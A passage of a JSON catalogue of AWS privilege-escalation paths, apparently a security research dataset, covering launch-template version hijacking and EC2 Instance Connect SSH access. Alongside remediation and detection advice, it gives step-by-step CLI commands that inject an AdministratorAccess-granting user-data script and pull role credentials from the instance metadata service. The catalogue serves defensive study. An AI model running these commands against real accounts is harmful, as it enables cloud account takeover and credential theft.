        "title": "HackTricks - AWS - EC2 Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/index.html#ec2createlaunchtemplateversionec2createlaunchtemplateec2modifylaunchtemplate"
      }
    ],
    "relatedPaths": [
      "ec2-001",
      "ec2-002",
      "ec2-003"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/ec2-createlaunchtemplateversion+ec2-modifylaunchtemplate",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with ec2:CreateLaunchTemplateVersion and ec2:ModifyLaunchTemplate permissions. Can be an IAM user or role with access to modify existing launch templates.\n"
        },
        {
          "id": "existing_template",
          "label": "Existing Launch Template",
          "type": "resource",
          "description": "An existing EC2 launch template that already references a privileged IAM instance profile in a previous version. The attacker discovers this template through ec2:DescribeLaunchTemplates and identifies the privileged role configuration to exploit. Crucially, modifying this template does NOT require iam:PassRole because the attacker is simply referencing a role configuration that already exists in a previous version.\n"
        },
        {
          "id": "modified_template",
          "label": "Modified Launch Template",
          "type": "resource",
          "description": "The attacker creates a new template version with malicious user data (using ec2:CreateLaunchTemplateVersion) and sets it as the default (using ec2:ModifyLaunchTemplate). The new version keeps the same privileged IAM instance profile from the existing version but injects malicious user data. All future instance launches from this template will now use the malicious configuration.\n"
        },
        {
          "id": "new_instance",
          "label": "New EC2 Instance",
          "type": "resource",
          "description": "An EC2 instance launches from the modified template. This could happen through Auto Scaling Groups, scheduled tasks, or manual launches by other users. The instance automatically receives the privileged IAM role and executes the malicious user data script. The attacker may need to trigger the launch (if they have autoscaling:SetDesiredCapacity) or wait for auto-scaling events or scheduled launches to occur naturally.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the EC2 Service",
          "type": "principal",
          "description": "IAM role that was already configured in the original launch template. The newly launched instance automatically assumes this role through its instance profile. The role's temporary credentials become available via the instance metadata service at http://169.254.169.254/latest/meta-data/iam/security-credentials/. The malicious user data script executes with these credentials and attempts to attach AdministratorAccess to the starting principal.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the existing role has IAM write permissions (specifically iam:AttachUserPolicy or AdministratorAccess), the user data script successfully attaches the AdministratorAccess policy to the starting principal. The starting principal now has persistent full administrative access to the AWS account.\n"
        },
        {
          "id": "some_perms",
          "label": "Limited Escalation Possible",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the existing role has some elevated permissions but lacks IAM write permissions, the user data script fails to attach AdministratorAccess. However, the attacker may still benefit from the instance remaining in a modified state that could be exploited later, potential access to resources the role can reach (S3, DynamoDB, Secrets Manager), or the ability to exfiltrate credentials or data through the instance.\n"
        },
        {
          "id": "no_access",
          "label": "No Effective Escalation",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the existing launch template only references a role with minimal or read-only permissions, the user data script fails to attach any policies and there are no useful resources to access. No effective privilege escalation occurs, though the template remains modified with the malicious configuration.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "existing_template",
          "label": "Identifies existing template",
          "description": "The starting principal identifies an existing launch template that already references a privileged IAM instance profile. This reconnaissance can be done using ec2:DescribeLaunchTemplates and ec2:DescribeLaunchTemplateVersions (from permissions.additional), but these permissions are not required for the attack itself - the attacker may already know which template to target through other means (documentation, previous access, etc.).\n\nOptional reconnaissance commands:\n```bash\naws ec2 describe-launch-templates \\\n  --query 'LaunchTemplates[*].[LaunchTemplateName,LaunchTemplateId,DefaultVersionNumber]' \\\n  --output table\n\naws ec2 describe-launch-template-versions \\\n  --launch-template-id lt-xxxxxxxxxxxxx \\\n  --versions '$Default' \\\n  --query 'LaunchTemplateVersions[0].LaunchTemplateData'\n```\n"
        },
        {
          "from": "existing_template",
          "to": "modified_template",
          "label": "ec2:CreateLaunchTemplateVersion + ec2:ModifyLaunchTemplate",
          "description": "The starting principal creates a new launch template version that references the existing privileged instance profile and includes malicious user data, then modifies the template to set this version as the new default. This does NOT require iam:PassRole because the attacker is simply referencing a role configuration that already exists in a previous version.\n\nCommands:\n```bash\n# Create new version with malicious user data\naws ec2 create-launch-template-version \\\n  --launch-template-id lt-xxxxxxxxxxxxx \\\n  --source-version 1 \\\n  --launch-template-data '{\n    \"IamInstanceProfile\": {\n      \"Name\": \"EXISTING_PRIVILEGED_INSTANCE_PROFILE\"\n    },\n    \"UserData\": \"BASE64_ENCODED_MALICIOUS_SCRIPT\"\n  }'\n\n# Set new version as default\naws ec2 modify-launch-template \\\n  --launch-template-id lt-xxxxxxxxxxxxx \\\n  --default-version NEW_VERSION_NUMBER\n```\n\nThe malicious user data script attempts to attach AdministratorAccess to the starting principal using the target role's credentials.\n"
        },
        {
          "from": "modified_template",
          "to": "new_instance",
          "label": "Instance launch triggered",
          "description": "An EC2 instance launches from the modified template. This could be triggered by the attacker (if they have ASG permissions), by auto-scaling events, by scheduled tasks, or by other users manually launching instances.\n\nCommand (if attacker has autoscaling:SetDesiredCapacity):\n```bash\naws autoscaling set-desired-capacity \\\n  --auto-scaling-group-name TARGET_ASG_NAME \\\n  --desired-capacity 1\n```\n\nAlternatively, the attacker may need to wait for these events to occur naturally through normal auto-scaling operations or scheduled instance launches.\n"
        },
        {
          "from": "new_instance",
          "to": "target_role",
          "label": "Instance assumes role",
          "description": "The launched instance automatically assumes the privileged IAM role through its instance profile. The EC2 service provides temporary credentials via the instance metadata service. The malicious user data script executes automatically during instance initialization (typically within 1-2 minutes of launch), running with the target role's credentials.\n"
        },
        {
          "from": "target_role",
          "to": "admin",
          "label": "If role has IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has iam:AttachUserPolicy or equivalent IAM write permissions (such as AdministratorAccess), the user data script successfully attaches the AdministratorAccess policy to the starting principal, granting persistent full administrative access.\n\nExample user data script that executes:\n```bash\n#!/bin/bash\naws iam attach-user-policy \\\n  --user-name STARTING_USER_NAME \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n"
        },
        {
          "from": "target_role",
          "to": "some_perms",
          "label": "If role has elevated permissions but not IAM write",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated permissions to access resources (like S3, DynamoDB, Secrets Manager) but lacks IAM write permissions, the user data script fails to attach AdministratorAccess. However, the modified template persists and could be exploited in other ways, or the instance could be used as a pivot point to access data or services within the role's permissions.\n"
        },
        {
          "from": "target_role",
          "to": "no_access",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the existing launch template only references a role with minimal or read-only permissions, the user data script fails and there are no useful resources to access. The template remains modified but provides no effective privilege escalation.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-07T04:00:34Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/ec2/ec2-004.yaml"
  },
  {
    "id": "ec2-005",
    "name": "ec2:CreateLaunchTemplateVersion + ec2:ModifyLaunchTemplate",
    "category": "existing-passrole",
    "services": [
      "iam",
      "ec2"
    ],
    "permissions": {
      "required": [
        {
          "permission": "ec2:CreateLaunchTemplateVersion",
          "resourceConstraints": "Must be able to create a new version of the target launch template"
        },
        {
          "permission": "ec2:ModifyLaunchTemplate",
          "resourceConstraints": "Must be able to modify the target launch template to set the new version as default"
        }
      ],
      "additional": [
        {
          "permission": "ec2:DescribeLaunchTemplates",
          "resourceConstraints": "Helpful for discovering launch templates with privileged instance profiles attached"
        },
        {
          "permission": "ec2:DescribeLaunchTemplateVersions",
          "resourceConstraints": "Useful for viewing the current default version configuration before creating the malicious version"
        },
        {
          "permission": "ec2:RunInstances",
          "resourceConstraints": "Can be used to trigger a new instance from the modified template; alternatively an existing Auto Scaling Group or EC2 Fleet that references the template will launch instances on the next scale-out event"
        },
        {
          "permission": "iam:ListAttachedUserPolicies",
          "resourceConstraints": "Useful for verifying privilege escalation success"
        }
      ]
    },
    "description": "A principal with `ec2:CreateLaunchTemplateVersion` and `ec2:ModifyLaunchTemplate` can escalate privileges by creating a new version of an existing EC2 launch template that already has an admin IAM instance profile attached. The new version preserves the admin instance profile but embeds a malicious user-data script. Setting this version as the default means any new instance launched from the template \u2014 whether via Auto Scaling Group scale-out, EC2 Fleet refresh, or direct `ec2:RunInstances` \u2014 will execute the user-data script with the admin role's credentials, calling `iam:AttachUserPolicy` to attach AdministratorAccess to the starting user.",
    "prerequisites": {
      "admin": [
        "An existing EC2 launch template must already have an admin IAM instance profile attached",
        "An Auto Scaling Group, EC2 Fleet, or other mechanism must reference the launch template (or the attacker has ec2:RunInstances to trigger a launch manually)",
        "The admin instance profile role must have permissions to call iam:AttachUserPolicy"
      ],
      "lateral": [
        "An existing EC2 launch template must have an elevated IAM instance profile attached",
        "A mechanism must exist to trigger instance launches from the template"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws ec2 describe-launch-templates \\\n  --query 'LaunchTemplates[*].{Name:LaunchTemplateName,Id:LaunchTemplateId,DefaultVersion:DefaultVersionNumber}' \\\n  --output table\n",
          "description": "Enumerate existing launch templates to identify ones with privileged instance profiles. Look for templates associated with Auto Scaling Groups or EC2 Fleets that will launch instances automatically."
        },
        {
          "step": 2,
          "command": "aws ec2 describe-launch-template-versions \\\n  --launch-template-id LAUNCH_TEMPLATE_ID \\\n  --versions '$Default' \\\n  --query 'LaunchTemplateVersions[0].LaunchTemplateData' \\\n  --output json\n",
          "description": "Inspect the current default version to retrieve the AMI ID, instance type, and confirm the admin instance profile is attached."
        },
        {
          "step": 3,
          "command": "USER_DATA=$(cat <<'EOF' | base64 | tr -d '\\n'\n#!/bin/bash\nsleep 15\naws iam attach-user-policy \\\n  --user-name STARTING_USER \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\nEOF\n)\n\naws ec2 create-launch-template-version \\\n  --launch-template-id LAUNCH_TEMPLATE_ID \\\n  --source-version '$Default' \\\n  --launch-template-data \"{\n    \\\"UserData\\\": \\\"$USER_DATA\\\"\n  }\"\n",
          "description": "Create a new launch template version sourced from the existing default. The source version inherits the admin instance profile \u2014 only the UserData field is changed to embed the malicious script that calls iam:AttachUserPolicy when the instance boots."
        },
        {
          "step": 4,
          "command": "aws ec2 modify-launch-template \\\n  --launch-template-id LAUNCH_TEMPLATE_ID \\\n  --default-version NEW_VERSION_NUMBER\n",
          "description": "Set the new malicious version as the default. Any instance launched from this template from this point forward will execute the malicious user-data script with the admin instance profile's credentials."
        },
        {
          "step": 5,
          "command": "aws iam list-attached-user-policies \\\n  --user-name STARTING_USER\n",
          "description": "Wait for an instance to launch (via Auto Scaling Group scale-out, EC2 Fleet, or manual RunInstances), then verify AdministratorAccess has been attached to the starting user."
        }
      ]
    },
    "recommendation": "- **Audit launch templates for privileged instance profiles** - Any launch template with an admin or high-privilege instance profile is a persistent escalation vector for any principal with `ec2:CreateLaunchTemplateVersion`. Regularly review and down-scope instance profiles referenced in launch templates.\n- **Restrict `ec2:CreateLaunchTemplateVersion`** - This permission allows creating new template versions with arbitrary user-data and instance configurations. Only trusted principals (e.g., infrastructure automation) should have this permission. Use IAM conditions to restrict which launch templates can be modified:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"ec2:CreateLaunchTemplateVersion\",\n  \"Resource\": \"arn:aws:ec2:REGION:ACCOUNT_ID:launch-template/lt-SPECIFIC_TEMPLATE_ID\"\n}\n```\n\n- **Restrict `ec2:ModifyLaunchTemplate`** - Setting a new default version activates the malicious user-data for all future instances. Restrict this permission to the same trusted CI/CD principals that manage template versions.\n- **Apply instance metadata service (IMDSv2) controls** - Require IMDSv2 on all EC2 instances to limit the blast radius of credential access via IMDS, even if an attacker gains code execution via user-data.\n- Monitor CloudTrail for `ec2:CreateLaunchTemplateVersion` calls followed closely by `ec2:ModifyLaunchTemplate`, especially from principals who don't normally manage launch templates\n- Monitor CloudTrail for launch template version changes that modify the `UserData` field\n- Alert on IAM policy attachment events (`iam:AttachUserPolicy`, `iam:AttachRolePolicy`) where the source is an EC2 instance role\n- Regularly audit all EC2 launch templates and Auto Scaling Groups for privileged instance profiles\n",
    "limitations": "This path requires that an existing launch template already has an admin or elevated instance profile attached. The attacker does not need `iam:PassRole` because the instance profile was previously assigned \u2014 `ec2:CreateLaunchTemplateVersion` inherits it via `--source-version`. The escalation also depends on a trigger to actually launch an instance from the modified template. If no Auto Scaling Group or Fleet references the template, the attacker may need `ec2:RunInstances` to trigger the launch.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Datadog",
        "date": "2025"
      }
    },
    "references": [
      {
        "title": "IAM permissions required for Amazon EC2 launch templates (AWS Documentation)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/permissions-for-launch-templates.html"
      },
      {
        "title": "Actions defined by Amazon EC2 - Service Authorization Reference",
        "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonec2.html"
      },
      {
        "title": "Control Amazon EC2 launch template usage in Auto Scaling groups",
        "url": "https://docs.aws.amazon.com/autoscaling/ec2/userguide/ec2-auto-scaling-launch-template-permissions.html"
      }
    ],
    "relatedPaths": [
      "ec2-002",
      "ec2-003",
      "ec2-004"
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/master/cloudsplaining/shared/constants.py#L275",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/master/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L154"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/ec2-005-ec2-createlaunchtemplateversion+ec2-modifylaunchtemplate",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `ec2:CreateLaunchTemplateVersion` and `ec2:ModifyLaunchTemplate` permissions. No `iam:PassRole` is required \u2014 the admin instance profile was already attached to the launch template before this attacker arrived."
        },
        {
          "id": "existing_template",
          "label": "Existing Launch Template (admin instance profile)",
          "type": "resource",
          "description": "An existing EC2 launch template that already has an admin IAM instance profile attached. The attacker did not create this template or attach the profile \u2014 those actions were performed by a legitimate administrator in the past. Because the admin profile is pre-existing, `iam:PassRole` is not required to exploit this path."
        },
        {
          "id": "malicious_version",
          "label": "Malicious Template Version (user-data script)",
          "type": "payload",
          "color": "#99ccff",
          "description": "A new launch template version created using `--source-version '$Default'`, which inherits the existing admin instance profile automatically. Only the UserData field is changed to embed a malicious script that executes when a new instance boots.\n\nThe malicious user-data script calls `iam:AttachUserPolicy` using the admin role's credentials to grant AdministratorAccess to the starting user:\n```bash\n#!/bin/bash\nsleep 15\naws iam attach-user-policy \\\n  --user-name STARTING_USER \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\nAfter creating the malicious version, `ec2:ModifyLaunchTemplate` sets it as the default. All future instances launched from this template \u2014 via Auto Scaling Group scale-out, EC2 Fleet refresh, or direct `ec2:RunInstances` \u2014 will execute the malicious user-data.\n"
        },
        {
          "id": "ec2_instance",
          "label": "EC2 Instance",
          "type": "resource",
          "description": "An EC2 instance launched from the modified launch template. The instance boots with the admin instance profile already attached (inherited from the template) and executes the malicious user-data script on startup. The instance can be launched automatically by an existing Auto Scaling Group or EC2 Fleet that references the template, or manually by the attacker using `ec2:RunInstances`."
        },
        {
          "id": "admin_role",
          "label": "Admin Instance Profile Role",
          "type": "principal",
          "description": "The IAM role attached to the EC2 instance via the pre-existing instance profile. This role was already associated with the launch template before the attack began. Its temporary credentials are accessible via the instance metadata service at http://169.254.169.254/latest/meta-data/iam/security-credentials/, and the malicious user-data script uses them to escalate the starting principal."
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The admin instance profile role has AdministratorAccess or equivalent permissions including `iam:AttachUserPolicy`. The malicious user-data script successfully attaches AdministratorAccess to the starting user, granting full administrative access to the AWS account."
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The instance profile role has some elevated permissions but lacks the specific IAM write actions needed to directly elevate the starting principal. The attacker can still use the instance to access data stores, modify resources within the role's scope, or identify additional privilege escalation paths."
        },
        {
          "id": "no_perms",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The instance profile role only has minimal permissions (such as logs write access or EC2 describe). The malicious user-data script cannot perform meaningful escalation and the attack provides limited value."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "existing_template",
          "label": "ec2:CreateLaunchTemplateVersion + ec2:ModifyLaunchTemplate",
          "description": "Create a new version of the existing launch template sourced from the current default. Only the UserData field is overridden \u2014 the admin instance profile is inherited automatically via `--source-version`. Then set the new version as the default.\n\nStep 1 \u2014 Create malicious version:\n```bash\nUSER_DATA=$(cat <<'EOF' | base64 | tr -d '\\n'\n#!/bin/bash\nsleep 15\naws iam attach-user-policy \\\n  --user-name STARTING_USER \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\nEOF\n)\n\naws ec2 create-launch-template-version \\\n  --launch-template-id LAUNCH_TEMPLATE_ID \\\n  --source-version '$Default' \\\n  --launch-template-data \"{\\\"UserData\\\": \\\"$USER_DATA\\\"}\"\n```\n\nStep 2 \u2014 Set as default:\n```bash\naws ec2 modify-launch-template \\\n  --launch-template-id LAUNCH_TEMPLATE_ID \\\n  --default-version NEW_VERSION_NUMBER\n```\n"
        },
        {
          "from": "existing_template",
          "to": "malicious_version",
          "label": "New version inherits admin instance profile",
          "description": "The new launch template version is created with `--source-version '$Default'`, which copies all fields from the existing default version including the admin instance profile. Only the UserData field differs. The admin instance profile is now present on the malicious version without any `iam:PassRole` action being required."
        },
        {
          "from": "malicious_version",
          "to": "ec2_instance",
          "label": "Instance launched from template (ASG/Fleet/RunInstances)",
          "description": "An EC2 instance is launched using the modified template. This can happen automatically when an existing Auto Scaling Group or EC2 Fleet triggers a scale-out event and uses the updated default version, or manually if the attacker has `ec2:RunInstances`. The instance boots with the admin instance profile attached and executes the malicious user-data script."
        },
        {
          "from": "ec2_instance",
          "to": "admin_role",
          "label": "Instance accesses role via IMDS",
          "description": "The EC2 instance automatically assumes the attached instance profile role at boot. The role's temporary credentials (AccessKeyId, SecretAccessKey, SessionToken) are available via the instance metadata service. The malicious user-data script runs as root and uses these credentials automatically through the AWS CLI's IMDS credential provider."
        },
        {
          "from": "admin_role",
          "to": "admin",
          "label": "If role has admin or IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the instance profile role has AdministratorAccess or specific IAM write permissions (such as `iam:AttachUserPolicy`), the malicious user-data script successfully attaches AdministratorAccess to the starting user, achieving full privilege escalation."
        },
        {
          "from": "admin_role",
          "to": "some_perms",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the instance profile role has elevated permissions but lacks IAM write access, the malicious script cannot directly escalate the starting principal. However, the role's credentials can still be used to access sensitive data or identify additional escalation paths."
        },
        {
          "from": "admin_role",
          "to": "no_perms",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the instance profile role only has minimal permissions, the malicious user-data script cannot perform meaningful escalation. The attack provides limited value despite successfully modifying the launch template."
        }
      ]
    },
    "gitMetadata": {
      "created": "2026-06-01T00:01:57Z",
      "lastUpdated": "2026-06-01T00:01:57Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/ec2/ec2-005.yaml"
  },
  {
    "id": "ec2instanceconnect-003",
    "name": "ec2-instance-connect:SendSSHPublicKey",
    "category": "existing-passrole",
    "services": [
      "ec2",
      "ec2-instance-connect"
    ],
    "description": "A principal with `ec2-instance-connect:SendSSHPublicKey` can push a temporary SSH public key to an EC2 instance and establish an SSH connection. If the target EC2 instance has a privileged IAM role attached via an instance profile, the attacker can SSH into the instance and access the instance metadata service (IMDS) to retrieve temporary credentials for that role. This provides the attacker with the full permissions of the instance's IAM role.",
    "prerequisites": {
      "admin": [
        "An EC2 instance must exist with EC2 Instance Connect enabled (Amazon Linux 2 or Ubuntu 16.04+)",
        "The instance must have an IAM role with administrative permissions attached",
        "The instance must be running",
        "Network access must allow SSH (port 22) to the instance"
      ],
      "lateral": [
        "An EC2 instance must exist with EC2 Instance Connect enabled (Amazon Linux 2 or Ubuntu 16.04+)",
        "The instance must have an IAM role attached",
        "The instance must be running",
        "Network access must allow SSH (port 22) to the instance"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws ec2 describe-instances --filters \"Name=instance-state-name,Values=running\"",
          "description": "List running EC2 instances to find targets with privileged roles"
        },
        {
          "step": 2,
          "command": "aws iam get-instance-profile --instance-profile-name INSTANCE_PROFILE_NAME",
          "description": "Check the instance profile to determine the attached role's permissions"
        },
        {
          "step": 3,
          "command": "ssh-keygen -t rsa -f /tmp/temp_key -N \"\"\n",
          "description": "Generate a temporary SSH key pair"
        },
        {
          "step": 4,
          "command": "aws ec2-instance-connect send-ssh-public-key \\\n  --instance-id i-1234567890abcdef0 \\\n  --instance-os-user ec2-user \\\n  --ssh-public-key file:///tmp/temp_key.pub\n",
          "description": "Push the temporary public key to the target instance (valid for 60 seconds)"
        },
        {
          "step": 5,
          "command": "ssh -i /tmp/temp_key ec2-user@INSTANCE_PUBLIC_IP\n",
          "description": "SSH into the instance using the temporary key (must connect within 60 seconds)"
        },
        {
          "step": 6,
          "command": "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME\n",
          "description": "From the SSH session, retrieve temporary credentials from IMDS"
        },
        {
          "step": 7,
          "command": "export AWS_ACCESS_KEY_ID=<from step 6>\nexport AWS_SECRET_ACCESS_KEY=<from step 6>\nexport AWS_SESSION_TOKEN=<from step 6>\naws sts get-caller-identity\n",
          "description": "Use the stolen credentials to assume the instance role's privileges"
        }
      ]
    },
    "recommendation": "Restrict the `ec2-instance-connect:SendSSHPublicKey` permission using resource-based constraints.\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"ec2-instance-connect:SendSSHPublicKey\",\n  \"Resource\": \"arn:aws:ec2:REGION:ACCOUNT_ID:instance/i-specificinstance\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"ec2:osuser\": \"ec2-user\"\n    }\n  }\n}\n```\n\nAdditional controls:\n- Use security groups to restrict SSH access to known IP ranges\n- Monitor CloudTrail for `SendSSHPublicKey` events, especially to instances with privileged roles\n- Implement IMDSv2 (session-oriented) to make credential theft more difficult\n- Use AWS Systems Manager Session Manager instead of SSH for remote access\n- Alert on unusual SSH connections to sensitive instances\n- Consider disabling EC2 Instance Connect on instances with privileged roles\n- Use VPC endpoints to restrict IMDS access\n",
    "limitations": "This path provides administrative access only if the target resource's execution role has administrative permissions. The attacker gains whatever permissions the resource's role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Seth Art",
        "organization": "Bishop Fox",
        "date": 2021,
        "link": "https://bishopfox.com/blog/aws-iam-privilege-escalation-playground"
      }
    },
    "references": [
      {
        "title": "IAM Vulnerable - EC2 Instance Connect",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "HackTricks - AWS - EC2 Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/index.html#ec2-instance-connectsendsshpublickey"
      },
      {
        "title": "AWS IAM privilege escalation paths",
        "url": "https://pswalia2u.medium.com/aws-iam-privilege-escalation-paths-cba36be1aa9e"
      }
    ],
    "relatedPaths": [
      "ec2-001",
      "ec2-002",
      "ssm-001"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L98",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L170"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/ec2-instance-connect-sendsshpublickey",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "EC2InstanceConnect-SendSSHPublicKey",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "ec2-instance-connect:SendSSHPublicKey",
          "resourceConstraints": "Target EC2 instance must be in the Resource section"
        },
        {
          "permission": "ec2:DescribeInstances",
          "resourceConstraints": "None - typically required to discover instance details"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `ec2-instance-connect:SendSSHPublicKey` permission. This principal can push a temporary SSH public key to an EC2 instance that has EC2 Instance Connect enabled. The SSH key is valid for 60 seconds after being pushed.\n"
        },
        {
          "id": "ec2_instance",
          "label": "Existing EC2 Instance",
          "type": "resource",
          "description": "The target EC2 instance with EC2 Instance Connect enabled (requires Amazon Linux 2 or Ubuntu 16.04+). The instance must be running and have an IAM role attached via an instance profile. Network security groups must allow SSH access (port 22) from the attacker's location.\n"
        },
        {
          "id": "instance_role",
          "label": "Existing Service Role",
          "type": "principal",
          "description": "The IAM role attached to the EC2 instance via instance profile. This role's temporary credentials are available through the Instance Metadata Service (IMDS) at http://169.254.169.254/latest/meta-data/iam/security-credentials/. Once the attacker gains SSH access to the instance, they can retrieve these credentials and use them from any location.\n"
        },
        {
          "id": "exfiltrate_creds",
          "label": "Exfiltrate credentials via IMDS",
          "type": "payload",
          "color": "#99ccff",
          "description": "Once SSH access is established, the attacker can access the Instance Metadata Service (IMDS) to retrieve the temporary security credentials for the instance role. These credentials include AccessKeyId, SecretAccessKey, and SessionToken, which can be exported to environment variables and used with the AWS CLI or SDK from any location.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the instance role has AdministratorAccess or equivalent administrative permissions, the attacker gains full administrative access to the AWS account using the exfiltrated credentials. They can perform any action in the account including creating new admin users, modifying resources, or accessing sensitive data.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the instance role has some elevated permissions but not full admin access, the attacker gains partial privilege escalation. This could include access to sensitive data stores (S3 buckets, RDS databases, DynamoDB tables), ability to modify certain resources, or permissions that enable additional privilege escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the instance role only has minimal permissions (such as CloudWatch logs access or basic EC2 describe permissions), the credential exfiltration may not provide meaningful additional access beyond what the starting principal already had. However, even limited access could be useful for reconnaissance.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "ec2_instance",
          "label": "ec2-instance-connect:SendSSHPublicKey",
          "description": "Generate a temporary SSH key pair and push the public key to the target EC2 instance using ec2-instance-connect:SendSSHPublicKey. The public key is valid for 60 seconds, during which the attacker must establish an SSH connection.\n\nCommands:\n```bash\nssh-keygen -t rsa -f /tmp/temp_key -N \"\"\n\naws ec2-instance-connect send-ssh-public-key \\\n  --instance-id i-1234567890abcdef0 \\\n  --instance-os-user ec2-user \\\n  --ssh-public-key file:///tmp/temp_key.pub\n```\n\nAfter pushing the key, immediately establish SSH connection within the 60-second window.\n"
        },
        {
          "from": "ec2_instance",
          "to": "instance_role",
          "label": "SSH access to instance",
          "description": "Use the temporary private key to establish an SSH connection to the EC2 instance. The instance automatically provides access to the attached IAM role's credentials through the Instance Metadata Service.\n\nCommand:\n```bash\nssh -i /tmp/temp_key ec2-user@INSTANCE_PUBLIC_IP\n```\n\nOnce connected, the attacker has shell access to the instance and can interact with IMDS.\n"
        },
        {
          "from": "instance_role",
          "to": "exfiltrate_creds",
          "label": "Access IMDS for credentials",
          "description": "From the SSH session on the EC2 instance, query the Instance Metadata Service (IMDS) to retrieve the temporary security credentials for the instance role. The credentials are available at a predictable URL and include AccessKeyId, SecretAccessKey, and SessionToken.\n\nCommand:\n```bash\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME\n```\n\nThe response contains JSON with the temporary credentials that can be used from any location.\n"
        },
        {
          "from": "exfiltrate_creds",
          "to": "admin_outcome",
          "label": "If instance role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the instance role has AdministratorAccess or equivalent administrative permissions, the attacker can use the exfiltrated credentials to gain full control over the AWS account. They can create new admin users, access all resources, modify security configurations, and perform any privileged action.\n"
        },
        {
          "from": "exfiltrate_creds",
          "to": "partial_outcome",
          "label": "If instance role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
